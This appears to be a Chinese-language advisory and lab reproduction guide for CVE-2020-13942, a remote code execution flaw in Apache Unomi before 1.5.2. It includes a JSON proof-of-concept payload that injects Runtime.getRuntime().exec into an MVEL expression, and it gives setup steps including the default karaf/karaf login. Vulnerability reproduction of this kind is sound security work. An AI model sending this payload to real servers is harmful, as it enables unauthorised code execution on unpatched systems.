Apache Unomi是一個Java開源客戶數據平臺,這是一個Java伺服器,旨在管理客戶,潛在顧客和訪問者的數據,並幫助個性化客戶體驗。Unomi可用於在非常不同的系統(例如CMS,CRM,問題跟蹤器,本機行動應用程式等)中集成個性化和配置文件管理。
11月17號,Apache Unomi公告一起遠程代碼執行漏洞,Apache Unomi允許遠程攻擊者使用可能包含任意類的MVEL和OGNL表達式發送惡意請求,從而產生具有Unomi應用程式特權的遠程代碼執行(RCE)。
CVE-2020-13942
9.8/嚴重
Apache Unomi < 1.5.2
{ "filters":[ { "id" : "filter1", "filters": [ { "condition": { "parameterValues": { "": "script::Runtime.getRuntime().exec('calc')"}, "type":"profilePropertyCondition"} } ] } ], "sessionId": "demo-session-id"}漏洞復現驗證:jdk環境安裝,該環境需要依賴jdk8,jdk下載地址:https://www.oracle.com/java/technologies/javase/javase-jdk8-downloads.html
下載安裝ElasticSearch,下載地址:https://www.elastic.co/downloads/past-releases ,對於Unomi>=1.5版本的,下載ElasticSearch 7.4.2版本。
配置ElasticSearch,修改config/elasticsearch.yml,配置cluster.name: contextElasticSearch。
運行bin目錄下的elasticsearch.bat(windows),啟動ElasticSearch。
下載Unomi 1.5.0,下載地址:http://unomi.apache.org/download.html
使用運行bin目錄下karaf.bat啟動。在啟動之前需要配置JAVA_HOME環境變量,修改bin/setenv.bat,配置JAVA的環境變量。在配置完成後運行karaf.bat啟動。在啟動完成後會進入Apache Karaf Shell,輸入unomi:start啟動unomi。
訪問https://localhost:9443/cxs/cluster,使用用戶名密碼:karaf/karaf即可登錄訪問。然後程序會告訴我們一個http訪問的publicHostAddress:http://localhost:8181 。
POST訪問context.json,並發送POC。
環境安裝參考地址:
https://unomi.apache.org/get-started.html#quickstart